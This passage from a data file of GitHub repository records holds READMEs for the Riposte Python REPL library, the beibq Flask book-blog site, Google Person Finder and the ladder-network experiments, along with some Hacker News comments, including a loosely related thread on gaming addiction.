ExtendedPrinterMixin):\n    pass\n \nrepl = CustomRiposte()\n\n@repl.command(\"foobar\")\ndef foobar(message: str):\n    repl.shout(message)\n\n```\n\n#### Customizing `PrinterMixin`\nNot happy about existing printing API? No problem, you can also build your own \nfrom scratch using `PrinterBaseMixin` and its thread safe `_print` method.\n\n```python\nfrom riposte import Riposte\nfrom riposte.printer.mixins import PrinterBaseMixin\n\n\nclass CustomPrinterMixin(PrinterBaseMixin):\n    def ask(self, *args, **kwargs):  # adding new one\n        self._print((*args, \"???\"), **kwargs)\n        \n    def shout(self, *args, **kwargs):  # adding new one\n        self._print((*args, \"!!!\"), **kwargs)\n\nclass CustomRiposte(Riposte, CustomPrinterMixin):\n    pass\n \nrepl = CustomRiposte()\n\n@repl.command(\"foobar\")\ndef foobar(message: str):\n    repl.shout(message)\n    repl.ask(message)\n    repl.success(message)  # It'll raise exception as it's no longer available\n```\n\n#### Coloring output with `Pallete`\nIf you feel like adding a few colors to the output you can always use `Pallete`.\n\n```python\nfrom riposte import Riposte\nfrom riposte.printer import Palette\n\n\nrepl = Riposte()\n\n\n@repl.command(\"foo\")\ndef foo(msg: str):\n    repl.print(Palette.GREEN.format(msg))  # It will be green\n```\n\n`Pallete` goes with the following output formattings:\n* `GREY`\n* `RED`\n* `GREEN`\n* `YELLOW`\n* `BLUE`\n* `MAGENTA`\n* `CYAN`\n* `WHITE`\n* `BOLD`\n\n### History\nCommand history is stored in your HOME directory in `.riposte` file. \nThe default length is 100 lines. Both settings can be changed using \n`history_file` and `history_length` parameters.\n```python\nfrom pathlib import Path\nfrom riposte import Riposte\n\n\nrepl = Riposte(\n    history_file=Path.home() / \".custom_history_file\", \n    history_length=500,\n)\n```\n\n### Prompt\nThe default prompt is `riposte:~ $ ` but you can easily customize it:\n```python\nfrom riposte import Riposte\n\n\nrepl = Riposte(prompt=\"custom-prompt >>> \")\nrepl.run()\n```\n\nYou can also dynamically resolve prompt layout based on the state of some object \nsimply by overwriting `Riposte.prompt` property. In the following example, we'll \ndetermine prompt based on `MODULE` value:\n```python\nfrom riposte import Riposte\n\n\nclass Application:\n    def __init__(self):\n        self.module = None\n\n\nclass CustomRiposte(Riposte):\n    @property\n    def prompt(self):\n        if app.module:\n            return f\"foo:{app.module} > \"\n        else:\n            return self._prompt  # reference to `prompt` parameter.\n\n\napp = Application()\nrepl = CustomRiposte(prompt=\"foo > \")\n\n\n@repl.command(\"set\")\ndef set_module(module_name: str):\n    app.module = module_name\n    repl.success(\"Module has been set.\")\n\n\n@repl.command(\"unset\")\ndef unset_module():\n    app.module = None\n    repl.success(\"Module has been unset.\")\n\n\nrepl.run()\n```\n\n```bash\nfoo > set bar\n[+] Module has been set.\nfoo:bar > unset\n[+] Module has been unset.\nfoo >\n```\n\n### Banner\n```python\n# banner.py\n\nfrom riposte import Riposte\n\nBANNER = \"\"\" _   _      _ _         _    _            _     _ _ \n| | | |    | | |       | |  | |          | |   | | |\n| |_| | ___| | | ___   | |  | | ___  _ __| | __| | |\n|  _  |/ _ \\ | |/ _ \\  | |/\\| |/ _ \\| '__| |/ _` | |\n| | | |  __/ | | (_) | \\  /\\  / (_) | |  | | (_| |_|\n\\_| |_/\\___|_|_|\\___/   \\/  \\/ \\___/|_|  |_|\\__,_(_)\nWelcome User Hello World v1.2.3\n\"\"\"\n\nrepl = Riposte(banner=BANNER)\n\n\n@repl.command(\"hello\")\ndef hello():\n    repl.print(\"Hello World!\")\n\n\nrepl.run()\n```\n```bash\n$ python banner.py\n _   _      _ _         _    _            _     _ _ \n| | | |    | | |       | |  | |          | |   | | |\n| |_| | ___| | | ___   | |  | | ___  _ __| | __| | |\n|  _  |/ _ \\ | |/ _ \\  | |/\\| |/ _ \\| '__| |/ _` | |\n| | | |  __/ | | (_) | \\  /\\  / (_) | |  | | (_| |_|\n\\_| |_/\\___|_|_|\\___/   \\/  \\/ \\___/|_|  |_|\\__,_(_)\nWelcome User Hello World v1.2.3\n\nriposte:~ $\n```\nIf for some reason you don't want to display banner (Maybe you have custom \n[input stream](#adding-custom-input-stream)?) you can set `Riposte.print_banner` attribute \nto `False`.\n\n### Inline command execution\nSimilarly to the `bash` if you delimit commands with semicolon you can trigger \nexecution of multiple commands in one line.\n```bash\nriposte:~ $ hello; hello; hello\n[+] Is it me you're looking for?\n[+] Is it me you're looking for?\n[+] Is it me you're looking for?\n```\n`Riposte` also exposes CLI for your applications which gives you the ability to \npass commands using `-c` switch:\n```bash\n$ python app.py -c \"hello; hello; hello;\"\n[+] Is it me you're looking for?\n[+] Is it me you're looking for?\n[+] Is it me you're looking for?\n$ \n```\nGiven all of this, you can also start to treat your application as something \nthat could be turned into automated scripts.\n\n### CLI\nIf you application needs custom CLI arguments _Riposte_ gives you way to \nimplement it by overwriting `Riposte.setup_cli()` method. Let's say you want to \nintroduce `--verbose` flag into your application:\n```python\n# custom_cli_args.py\n\nfrom riposte import Riposte\n\n\nclass CustomArgsRiposte(Riposte):\n    def setup_cli(self):\n        super().setup_cli()  # preserve default Riposte CLI\n\n        self.parser.add_argument(\n            \"-v\", \"--verbose\", action=\"store_true\", help=\"Verbose mode\"\n        )\n\n\nrepl = CustomArgsRiposte()\n\n\n@repl.command(\"foo\")\ndef foo(bar: str):\n    repl.success(\"Foobar executed.\")\n\n    if repl.arguments.verbose:\n        repl.success(\"Argument passed as bar: \", bar)\n\n\nrepl.run()\n\n```\n```bash\n$ python custom_cli_args.py -v\nriposte:~ $ foo 123\n[+] Foobar executed.\n[+] Argument passed as bar:  123\nriposte:~ $ \n```\n`Riposte.parser` is an instance of Python's builtin [`argparse.ArgumentParser`](https://docs.python.org/3/library/argparse.html#argparse.ArgumentParser) \nso for all further instructions regarding adding CLI arguments please follow \n[`argparse`](https://docs.python.org/3/library/argparse.html#module-argparse) \ndocumentation.\n\nPassed arguments are being parsed in `Riposte.run()` and stored in \n`Riposte.arguments` so you can access it within your application. If you need \nto access them before entering the main evaluation loop you can overwrite \n`Riposte.parse_cli_arguments()`\n```python\nfrom riposte import Riposte\n\n\nclass CustomArgsRiposte(Riposte):\n    def setup_cli(self):\n        super().setup_cli()  # preserve default Riposte CLI\n\n        self.parser.add_argument(\n            \"-v\", \"--verbose\", action=\"store_true\", help=\"Verbose mode\"\n        )\n\n    def parse_cli_arguments(self):\n        super().parse_cli_arguments()  # preserve default Riposte CLI\n\n        if self.arguments.verbose:\n            do_something_specific()\n```\n\n### Input streams\nThe input stream is an abstraction telling how you feed _Riposte_ with \ncommands. Right now you can use following ones out of the box.\n#### Prompt\nDefault one which allows you input commands using the traditional prompt.\n#### CLI\n`Riposte` also exposes CLI for your applications which gives you the ability \nto pass commands using `-c` switch:\n```bash\n$ python app.py -c \"hello; hello; hello;\"\n[+] Is it me you're looking for?\n[+] Is it me you're looking for?\n[+] Is it me you're looking for?\n```\n#### File\nYou can also pass text file containing commands as an argument to your \napplication:\n```python\n# demo.py\n\nfrom riposte import Riposte\n\nrepl = Riposte()\n\n@repl.command(\"hello\")\ndef hello():\n    repl.print(\"Is it me you're looking for?\")\n\nrepl.run()\n```\n`commands.rpst` text file containing commands to be executed:\n```\nhello\nhello\nhello\n```\n```bash\n$ python demo.py commands.rpst\n[+] Is it me you're looking for?\n[+] Is it me you're looking for?\n[+] Is it me you're looking for?\n```\n#### Adding custom input stream\nIf for some reason you need a custom way of feeding _Riposte_ with commands \nyou can always add your custom input stream. The input stream is a generator \nthat yields function which after calling it returns a string (the command) \n`Generator[Callable[[], str], None, None]`. Let's say you are an evil genius \nand want to make your interactive shell application less interactive by \nfeeding it with some kind of messaging system.\n```python\nimport itertools\nfrom typing import Callable, Generator\n\nfrom riposte import Riposte\nfrom some.messaging.system import Subscriber\n\n\ndef some_messaging_system_input_stream(\n    subscriber: Subscriber  # you can parametrize your input streams\n) -> Generator[Callable, None, None]:\n    # itertools.repeat() make sure that your input stream runs forever\n    yield from itertools.repeat(subscriber.poll)  # calling poll() will return command\n\n\nclass CustomInputStreamRiposte(Riposte):\n    def setup_cli(self):\n        super().setup_cli()  # preserve default Riposte CLI\n\n        self.parser.add_argument(\n            \"-h\", \"--host\", help=\"Some messaging system address\"\n        )\n\n    def parse_cli_arguments(self) -> None:\n        super().parse_cli_arguments()  # preserve default Riposte CLI\n\n        if self.arguments.host:\n            subscriber = Subscriber(self.arguments.host)\n            self.input_stream = some_messaging_system_input_stream(subscriber)\n            self.print_banner = False  # I guess you don't want to print banner \n```\n\n## Project status\n_Riposte_ is under development. It might be considered to be in beta phase. \nThere might be some breaking changes in the future although a lot of concepts \npresent here was already battle-tested during \n[routersploit](https://github.com/threat9/routersploit) development.\n\n## Contributing\nPlease read [CONTRIBUTING.md]() for details on our code of conduct, and the \nprocess for submitting pull requests to us.\n\n## Versioning\nProject uses [SemVer](http://semver.org/) versioning. For the versions \navailable, see the [releases](https://github.com/fwkz/riposte/releases). \n\n## License\n_Riposte_ is licensed under the MIT License - see the \n[LICENSE](https://github.com/fwkz/riposte/blob/master/LICENSE) file for details\n\n## Acknowledgments\n* [routersploit](https://github.com/threat9/routersploit)\n* [click](https://click.palletsprojects.com/)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "chaijunit/beibq", "link": "https://github.com/chaijunit/beibq", "tags": ["gitbook", "wordpress", "bootstrap", "markdown", "flask", "python", "book"], "stars": 506, "description": "\u57fa\u4e8eflask\u5f00\u53d1\u7c7b\u4f3cgitbook\u7684\u77e5\u8bc6\u7ba1\u7406\u7f51\u7ad9\u3002 http://demo.beibq.cn", "lang": "Python", "repo_lang": "", "readme": "#beibq\n\nDevelop a knowledge management website similar to gitbook based on flask.\n\nCode cloud address: https://gitee.com/beibq/beibq\n\ngithub address: https://github.com/chaijunit/beibq\n\nDemo address: http://demo.beibq.cn\nUsername: admin\nPassword: 123456\n\nPython version requirements: python3.6+\n\n\nBecause many blog systems are mainly in the form of articles; if there are more articles recorded, they need to be classified, and it will be more troublesome to find a certain article written before.\n\nbeibq uses the method of writing a book to write a blog, because the book itself has a classification function, even if the recorded content increases, it will not feel chaotic, and it is very convenient to switch to other chapters by clicking on the book catalog when reading.\n\n\n#### Installation configuration\n![](https://github.com/chaijunit/beibq/blob/master/doc/image/start.png)\nAfter building the website, visit it with a browser, and the configuration interface will appear\n\n\n#### Writing Books Online\n\n![](https://github.com/chaijunit/beibq/blob/master/doc/image/book.png)\n\nbeibq's editor supports Markdown. Markdown is a markup language that can be converted into a rich HTML format with only a few simple markup symbols, which is especially suitable for blogging. A specific introduction to Markdown: [Markdown Grammar Description](https://www.appinn.com/markdown/)\n\nThe interface of beibq's editor is simple and easy to operate. Markdown symbols can be input through the toolbar or shortcut keys, which can effectively improve writing efficiency; the directory area of \u200b\u200bthe editor supports chapter dragging, and the order of chapters can be adjusted.\n\nEditor example: [Online book writing] (https://www.beibq.cn/bookeditor/book)\n\nAfter writing the book, click Publish, and you will be able to see the latest book updates on the home page\n![](https://github.com/chaijunit/beibq/blob/master/doc/image/home.png)\n\n#### interface\n\nThe interface of beibq is simple, beautiful and easy to use. When reading a blog, just like reading a book, the interface includes a catalog of books; in this way, you can easily switch to other chapters by clicking on a chapter of the catalog.\n\n![](https://github.com/chaijunit/beibq/blob/master/doc/image/reader.png)\nIn order to improve the efficiency of switching chapters, when clicking a chapter in the directory, the chapter content is requested asynchronously through ajax, which can not only improve the page refresh speed but also have a good reading experience;\n\nIn fact, there will be a problem with ajax asynchronous request chapters. When the network delay is high and users click multiple chapters in a short period of time, the page display will be confused. To solve this problem, I design a queue to cache the event when the user clicks on a chapter In the queue, if multiple click events are received in a short period of time, I actually only request the last event in the queue.\n\nbeibq can also automatically adapt to the mobile interface, so that users can read on mobile devices.\n\n\n\n## Install and use\n\n#### 1. Install mysql\n\nThe database used by beibq is mysql, you need to install mysql before installation\n\nI am using centos, the installation method can refer to this document: [Installing MySQL on Linux Using the MySQL Yum Repository](https://dev.mysql.com/doc/refman/5.7/en/linux-installation-yum-repo .html)\n\n#### 2. Install dependent packages\n\n```\npip install -r requirements.txt\n```\n\n#### 3. Start the program\n\n```\npython manage.py runserver -h 0.0.0.0\n```\n\n#### 4. Configure the site\nEnter http://127.0.0.1:5000 in the browser\n\n\nThe first visit will jump to the configuration interface, and you can use beibq after configuring the site information according to the instructions\n\n## Feedback\nIf you have any suggestions and questions, you can contact me by email\n\n- Email: chaijun@markbj.com", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "google/personfinder", "link": "https://github.com/google/personfinder", "tags": [], "stars": 506, "description": "Person Finder is a searchable missing person database written in Python and hosted on App Engine.", "lang": "Python", "repo_lang": "", "readme": "# Person Finder [![Build Status](https://travis-ci.org/google/personfinder.svg?branch=master)](https://travis-ci.org/google/personfinder)\n\nPerson Finder is a searchable missing person database written in Python and\nhosted on App Engine.\n\nPerson Finder implements the PFIF data model and provides PFIF import and export\nas well as PFIF Atom feeds. It was initially created by Google volunteers in\nresponse to the Haiti earthquake in January 2010, and today contains\ncontributions from many volunteers inside and outside of Google. It was used\nagain for the earthquakes in Chile, Yushu, and Japan, and now runs at\nhttps://google.org/personfinder/.\n\n## How to Contribute\n\n1. Follow [Getting Started](https://github.com/google/personfinder/wiki/GettingStarted) to set up your development environment.\n2. Follow [CONTRIBUTING](https://github.com/google/personfinder/blob/master/CONTRIBUTING.md) to send pull requests.\n", "readme_type": "markdown", "hn_comments": "Who actually uses this in the Philippines? The tool always gets shared across social networks whenever there's a typhoon but I've never heard of people actually finding lost families/friends with it.<HN_SEP>The Red Cross already does this. It's called Safe And Well. This is one place where we definitely don't need fragmentation.If you need to check on someone in Boston, I recommend Safe And Well. Just please don't go to the site unless you actually need to check on someone. The servers don't need the added load (which I guess would be a reason to want to use Google, but they aren't going to be on scene like the Red Cross will be).<HN_SEP>This is helpful, I passed the link to a friend whose cousin ran in the race.And the whining in this thread is deplorable.<HN_SEP>I'm impressed by the speed of software engineering at Google, do they pre-design these systems for such events ?that was pretty quick indeed.<HN_SEP>\"Status: Someone has received information that this person is alive\"\\n- I wish they reword it to something less scary. like, \"Status: Someone has received information that this person is fine\"<HN_SEP>I wonder what the ramifications are for this functionality with regard to people that are in the Witness Protection Program. I suppose that might just be another thing our civil servants will be considering when they're protecting their witnesses.<HN_SEP>Thank you for posting this, danso.<HN_SEP>Yet another Google service soon to be discontinued... When one need it as most probably.<HN_SEP>(RE)launches.iirc, this was done for Hurricane Katrina and also the 2004 Tsunami in the Indian Ocean.<HN_SEP>You can also see a video of Chileayuda.com from ny1noticias.com (tv news channel) here:\nhttp://www.ny1noticias.com/content/cultura_y_sociedad/118859...<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "CuriousAI/ladder", "link": "https://github.com/CuriousAI/ladder", "tags": [], "stars": 506, "description": "Ladder network is a deep learning algorithm that combines supervised and unsupervised learning", "lang": "Python", "repo_lang": "", "readme": "This repository contains source code for the experiments in a paper titled\n[_Semi-Supervised Learning with Ladder Networks_](http://arxiv.org/abs/1507.02672) by A Rasmus, H Valpola, M Honkala,\nM Berglund, and T Raiko.\n\n#### Required libraries\n##### Install Theano, Blocks Stable 0.2, Fuel Stable 0.2\nRefer to the [Blocks installation instructions](http://blocks.readthedocs.org/en/latest/setup.html) for\ndetails but use tag v0.2 instead. Something along:\n```\npip install git+git://github.com/mila-udem/blocks.git@v0.2\npip install git+git://github.com/mila-udem/fuel.git@v0.2.0\n```\nFuel comes with Blocks, but you need to download and convert the datasets.\nRefer to the Fuel documentation. One might need to rename the converted files.\n```\nfuel-download mnist\nfuel-convert mnist --dtype float32\nfuel-download cifar10\nfuel-convert cifar10\n```\n##### Alternatively, one can use the environment.yml file that is provided in this repo to create an conda environment.\n1. First install anaconda from https://www.continuum.io/downloads. Then,\n2. `conda env create -f environment.yml`\n3. `source activate ladder`\n4. The environment should be good to go!\n\n#### Models in the paper\n\nThe following commands train the models with seed 1. The reported numbers in the paper are averages over\nseveral random seeds. These commands use all the training samples for training (`--unlabeled-samples 60000`)\nand none are used for validation. This results in a lot of NaNs being printed during the trainining, since\nthe validation statistics are not available. If you want to observe the validation error and costs during the\ntraining, use `--unlabeled-samples 50000`.\n\n\n##### MNIST all labels\n```\n# Full\nrun.py train --encoder-layers 1000-500-250-250-250-10 --decoder-spec gauss --denoising-cost-x 1000,1,0.01,0.01,0.01,0.01,0.01 --labeled-samples 60000 --unlabeled-samples 60000 --seed 1 -- mnist_all_full\n# Bottom\nrun.py train --encoder-layers 1000-500-250-250-250-10 --decoder-spec gauss --denoising-cost-x 2000,0,0,0,0,0,0 --labeled-samples 60000 --unlabeled-samples 60000 --seed 1 -- mnist_all_bottom\n# Gamma model\nrun.py train --encoder-layers 1000-500-250-250-250-10 --decoder-spec 0-0-0-0-0-0-gauss --denoising-cost-x 0,0,0,0,0,0,2 --labeled-samples 60000 --unlabeled-samples 60000 --seed 1 -- mnist_all_gamma\n# Supervised baseline\nrun.py train --encoder-layers 1000-500-250-250-250-10 --decoder-spec 0-0-0-0-0-0-0 --denoising-cost-x 0,0,0,0,0,0,0 --labeled-samples 60000 --unlabeled-samples 60000 --f-local-noise-std 0.5 --seed 1 -- mnist_all_baseline\n```\n\n##### MNIST 100 labels\n```\n# Full\nrun.py train --encoder-layers 1000-500-250-250-250-10 --decoder-spec gauss --denoising-cost-x 1000,10,0.1,0.1,0.1,0.1,0.1 --labeled-samples 100 --unlabeled-samples 60000 --seed 1 -- mnist_100_full\n# Bottom-only\nrun.py train --encoder-layers 1000-500-250-250-250-10 --decoder-spec gauss --denoising-cost-x 5000,0,0,0,0,0,0 --labeled-samples 100 --unlabeled-samples 60000 --seed 1 -- mnist_100_bottom\n# Gamma\nrun.py train --encoder-layers 1000-500-250-250-250-10 --decoder-spec 0-0-0-0-0-0-gauss --denoising-cost-x 0,0,0,0,0,0,0.5 --labeled-samples 100 --unlabeled-samples 60000 --seed 1 -- mnist_100_gamma\n# Supervised baseline\nrun.py train --encoder-layers 1000-500-250-250-250-10 --decoder-spec 0-0-0-0-0-0-0 --denoising-cost-x 0,0,0,0,0,0,0 --labeled-samples 100 --unlabeled-samples 60000 --f-local-noise-std 0.5 --seed 1 -- mnist_100_baseline\n```\n\n##### MNIST 1000 labels\n```\n# Full\nrun.py train --encoder-layers 1000-500-250-250-250-10 --decoder-spec gauss --denoising-cost-x 2000,20,0.1,0.1,0.1,0.1,0.1 --f-local-noise-std 0.2 --labeled-samples 1000 --unlabeled-samples 60000 --seed 1 -- mnist_1000_full\n# Bottom-only\nrun.py train --encoder-layers 1000-500-250-250-250-10 --decoder-spec gauss --denoising-cost-x 2000,0,0,0,0,0,0 --labeled-samples 1000 --unlabeled-samples 60000 --seed 1 -- mnist_1000_bottom\n# Gamma model\nrun.py train --encoder-layers 1000-500-250-250-250-10 --decoder-spec 0-0-0-0-0-0-gauss --denoising-cost-x 0,0,0,0,0,0,10 --labeled-samples 1000 --unlabeled-samples 60000 --seed 1 -- mnist_1000_gamma\n# Supervised baseline\nrun.py train --encoder-layers 1000-500-250-250-250-10 --decoder-spec 0-0-0-0-0-0-0 --denoising-cost-x 0,0,0,0,0,0,0 --labeled-samples 1000 --unlabeled-samples 60000 --f-local-noise-std 0.5 --seed 1 -- mnist_1000_baseline\n```\n\n##### MNIST 50 labels\n```\n# Full model\nrun.py train --encoder-layers 1000-500-250-250-250-10 --decoder-spec gauss --denoising-cost-x 2000,20,0.1,0.1,0.1,0.1,0.1 --labeled-samples 50 --unlabeled-samples 60000 --seed 1 -- mnist_50_full\n```\n\n##### MNIST convolutional models\n```\n# Conv-FC\nrun.py train --encoder-layers convv:1000:26:1:1-convv:500:1:1:1-convv:250:1:1:1-convv:250:1:1:1-convv:250:1:1:1-convv:10:1:1:1-globalmeanpool:0 --decoder-spec gauss --denoising-cost-x 1000,10,0.1,0.1,0.1,0.1,0.1,0.1 --labeled-samples 100 --unlabeled-samples 60000 --seed 1 -- mnist_100_conv_fc\n# Conv-Small, Gamma\nrun.py train --encoder-layers convf:32:5:1:1-maxpool:2:2-convv:64:3:1:1-convf:64:3:1:1-maxpool:2:2-convv:128:3:1:1-convv:10:1:1:1-globalmeanpool:6:6-fc:10 --decoder-spec 0-0-0-0-0-0-0-0-0-gauss --denoising-cost-x 0,0,0,0,0,0,0,0,0,1 --labeled-samples 100 --unlabeled-samples 60000 --seed 1  -- mnist_100_conv_gamma\n# Conv-Small, supervised baseline. Overfits easily, so keep training short.\nrun.py train --encoder-layers convf:32:5:1:1-maxpool:2:2-convv:64:3:1:1-convf:64:3:1:1-maxpool:2:2-convv:128:3:1:1-convv:10:1:1:1-globalmeanpool:6:6-fc:10 --decoder-spec 0-0-0-0-0-0-0-0-0-0 --denoising-cost-x 0,0,0,0,0,0,0,0,0,0 --num-epochs 20 --lrate-decay 0.5 --f-local-noise-std 0.45 --labeled-samples 100 --unlabeled-samples 60000 --seed 1 -- mnist_100_conv_baseline\n```\n\n##### CIFAR models\n```\n# Conv-Large, Gamma\n./run.py train --encoder-layers convv:96:3:1:1-convf:96:3:1:1-convf:96:3:1:1-maxpool:2:2-convv:192:3:1:1-convf:192:3:1:1-convv:192:3:1:1-maxpool:2:2-convv:192:3:1:1-convv:192:1:1:1-convv:10:1:1:1-globalmeanpool:0 --decoder-spec 0-0-0-0-0-0-0-0-0-0-0-0-gauss --dataset cifar10 --act leakyrelu --denoising-cost-x 0,0,0,0,0,0,0,0,0,0,0,0,4.0 --num-epochs 70 --lrate-decay 0.86 --seed 1 --whiten-zca 3072 --contrast-norm 55 --top-c False --labeled-samples 4000 --unlabeled-samples 50000 -- cifar_4k_gamma\n# Conv-Large, supervised baseline. Overfits easily, so keep training short.\n./run.py train --encoder-layers convv:96:3:1:1-convf:96:3:1:1-convf:96:3:1:1-maxpool:2:2-convv:192:3:1:1-convf:192:3:1:1-convv:192:3:1:1-maxpool:2:2-convv:192:3:1:1-convv:192:1:1:1-convv:10:1:1:1-globalmeanpool:0 --decoder-spec 0-0-0-0-0-0-0-0-0-0-0-0-0 --dataset cifar10 --act leakyrelu --denoising-cost-x 0,0,0,0,0,0,0,0,0,0,0,0,0 --num-epochs 20 --lrate-decay 0.5 --seed 1 --whiten-zca 3072 --contrast-norm 55 --top-c False --labeled-samples 4000 --unlabeled-samples 50000 -- cifar_4k_baseline\n```\n\n##### Evaluating models with testset\nAfter training a model, you can infer the results on a test set by performing the `evaluate` command.\nAn example use after training a model:\n```\n./run.py evaluate results/mnist_all_bottom0\n```\n", "readme_type": "markdown", "hn_comments": "- C++- 5-10m full build- 1-2m incremental build- Remote- ~10m tests, in the critical path<HN_SEP>Video games affect different people differently. The pattern of behavior you describe, that can be summarized as 'all or nothing gaming' approach is something I recognize through own experience.The key is to have healthy dose of other activities that will prevent you from going 'all in' on games. Sports or travel come to mind.And having children... Once you have kids, the days of your glorious gaming past will become a hazy, distant memory.<HN_SEP>This just sounds like an addict bargaining to me. Like an alcoholic trying to figure out if they can handle a glass of wine because they use to drink vodka.You obviously can't have a healthy relationship with video games or else it would never come to posting this.I mean one of the hardest things with beating any addiction long term after the initial battle is what to do with all the free time and the boredom.I would think some kind of time consuming, non-digital hobby would be best as a replacement.Maybe try reading too about other people going through gambling addictions or other types of non-substance addictions to see how what you are asking is almost stereotypical in a sense with addictions.<HN_SEP>Carpal tunnel syndrome forced me to stop playing for hours on end. I dont recommend it for anyone, but its a great way to ensure you're only playing in small chunks.<HN_SEP>to separate you from the addiction you need to go on a long vacation, south america? asia?<HN_SEP>Acquire other (more productive/creative) hobbies/activities which excite/interest you enough to channel that same energy/focus.I had this problem with EverQuest for a while, and other MMOs/Open-World games, then \"virtual world\" software (OpenSim/Second Life/InWorldz) that I was semi-addicted to led me to a (revived from olden days) interest in programming/scripting, and a (newly rekindled) interest in 3D modeling/graphics which at first I had learned for the sake of creating content for the virtual world and other game engines.  I just used that interest in those \"new\" hobbies to start finding \"excuses\" to do more productive things and learn further skills around those interests which sucked up enough of my time and focus that the games simply no longer held the same sway that they once did over my attention.Now that I've honed those skills somewhat, I'm moving into learning the Godot game engine, in hopes of creating my own amusements and tools with those skills.  :)<HN_SEP>It's weird, I was very addicted to gaming as a teen. World of Warcraft for 14 hours a day was very normal (and some how I still wasn't incredible at the game). After turning 18, I landed my first job pumping gas and it straightened me out. It fixed most of my social anxiety and stopped spending all day inside.Now 10~ years later, I've swapped addictions. Cars. Spending an entire weekend dismantling and tinkering in the garage, while spending all my money on car related stuff.I yearn for the days of gaming. It was a very cheap hobby in comparison.I don't have much advice, but some people have much more addictive personalities or a lack of discipline. I've avoided all drugs/drinking for this exact reason.I've been attempting to ease away from car stuff, and go back to a more productive \"addiction\" by learning EE and programming more.<HN_SEP>I used to play a lot of videogames (specifically LoL but also any big anticipated titles I was interested in). I think for me it was for a few reasons:* I had far, far less stuff to do. I was in an easy degree path without a job, and surrounded myself with people in similar circumstances, so I had time to play games for 6-8 hours a day and a wealth of validation from my peers.* When I wasn't playing games, it was to do other things that I was either obligated to do (schoolwork), or that also had an element of skill progression (music), or that were social activities (also music).* I had no real need to remain available on short notice for anybody or anything, so unpausable games with 40+ minute match times were easy to fit into my life.When I started working as a SWE, suddenly most of that stuff was no longer true, and in the USA no one looks at someone who works 8+ hours a day as a degenerate. So I'd wear myself out doing that, and constantly read up on bettering myself as a programmer. Being good at competitive videogames started to become less and less of my identity, and it was supplanted by becoming better at my job and finding financial success. That addicted me in its own right (I used to also spend way too much time watching lines go up on stock trading apps, though thankfully I've managed to curb that too).During my busiest time (working + master's + in a relationship + fostering kittens), I went weeks/months without ever touching a videogame. I'd still read about them or watch videos, but I always felt like there was something either better or more important for me to do at any given time.It helps too that the social aspect of LoL for me was also dying at the time. The people I played with were on less and less, and I was also getting fed up of the game's formula after so many years.Sometimes you can't help but have a bad addiction and need to go cold turkey, but for games that don't have such an addictive quality I find that just having a lot to do at any given time helps curb my tendencies to binge.<HN_SEP>First of all, the average adult in the US watches ~1300 hours TV per year. Playing games instead is not worse. But arguably it's a waste of your life. So I would ask myself what I want to do with my life and do that. If then there is some down time available for gaming, why not?<HN_SEP>> Is it possible to have a \"healthy\" amount of playing? Let's say just a couple of hours in the weekends?There's a certain online 2d pubg clone, which I won't name, with an average session length of just around 3 minutes (depending on how fast you die, ~10m if you win). Pure skill, no ladder progression. Let me tell you, even after hitting my skill ceiling, I think I would still find it very hard to play \"just a few hours on the weekend.\" When I start playing it, I keep playing it. When I have a free minute, I have an urge to play it. If a game is addicting, it is simply that: addicting. You either play it or you don't. And I will say it again: there's no ladder, no meaningful reward system, no resource grind, just a simple top-down shooter. And it's still hard to just limit my time playing it: after you die, you just click join again. A fresh start. I have gone cold turkey out on it, it was too time consuming.Not saying it couldn't be possible, though, but I surely have a preference for campaign-oriented games for this reason. When you finish it, you are just done. It takes a continous, possibly long, chunk of time, but at least you know there's an end. And there's more you can experience. There's a many of games beatable in under a 50-hour timeframe, and when you are done, you feel like you have had a meaningful experience, gained fond memories with no regret. There isn't a shit-ton, but there are surely some.Maybe something like a strategy game against AI could be different, I don't really know. Or, hey, an occasional lan party with friends? The lan-party interaction is much more fun, in my experience, though it rarely happens. And not like you wanna keep playing the game against bots after that.But I do think the choice of a game makes a big difference.<HN_SEP>Kudos to you in sharing your story, and congrats on your 4-month \"sobriety\"!My youngest son actually had to go to a detox program for video games (in the Seattle area). It didn't entirely remove the addictive behavior patterns, but he's much more self-aware in his struggles.One positive thing did come out during his stay there - he was officially diagnosed with ASD (which we always suspected, but he had other learning challenges that seemed more pressing). I wish we had gotten him more accomodations when he was in school - which would have been easier with the official diagnoses.<HN_SEP>Just don\u2019t. Fill the gap. Meditate. Build something.<HN_SEP>I can't answer your question directly but I can share my experience. I put ~3k hours into a fast paced fast twitch competitive multiplayer in around 3 or 4 years, significantly increased in 2020 of course. I had some thought that maybe it was addiction, for sure part of the problem was covid, but I also made a number of friends and so it was social too.Eventually the social scene kind of fell over for me, covid loosened up, and I realized my time spent had not decreased. Putting some thought into what made the game enjoyable for me personally and I realized it was the process of improving that made it rewarding. Then I took a look at well what have I really been improving lately? Again social scene is done so I'm not improving team play, what about solo play? Not really there either. I had reached a peak that wasn't surmountable with the state of the game (matchmaking and network reliability at my skill level was not conducive to the experiences that would allow me to improve) and so realizing that all of the thrill and promise of improvement kind of fell off and I mostly stopped playing for a few months.Lately I've been trying to rekindle some social scene and have defined some new development goals that aren't as grindy as my previous solo play. More casual play.Maybe some introspection on what you are getting out of it I guess. I hadn't thought that hard about about how improvement was the main feature for me, of course I noticed myself getting better but once I identified that as the ultimate source of enjoyment and a lacking feature I organically lost interest.<HN_SEP>Do something else.I decided that I would learn guitar with my daughter instead of gaming. I'm not really any good, but I can pick up a guitar and play something. 17-year old me would be proud. It is definitely much cooler than whatever rank I had in Gears of War.I also run and cycle. After a while gaming becomes less important because there are other things to do. You can definitely get 'into the zone' on a run... that's why people run. Achievements and challenges have existed in real life for a while already. You can feed your need for ranking (Strava), unlocking (buy new gear), and data-driven metrics that exist in games with other things in life.Just do other things. Try different ones. After a while gaming becomes less important, and is no longer an addicition. It becomes something that you can enjoy in moderation in amongst your other activities.<HN_SEP>I know my tendency to get addicted so I just don't play games anymore.<HN_SEP>Get a computer that you can't play it on and put your gaming rig in storage (or have someone get rid of it for you).  Then figure out something to fill the space.. build a new habit for example... exercise (walking/running)<HN_SEP>Channel your energy into real life. Sounds easier than it might be, and I would be naive to believe everyone has the same experience with gaming....but at some point I lead an ruthless clan of hundreds of people who would considerably push the limits of the servers rules. Some of them cheated, and they were ostracized (or just hid it really well). This all took place inside a server of a well known game but not very well known multiplayer mod for the 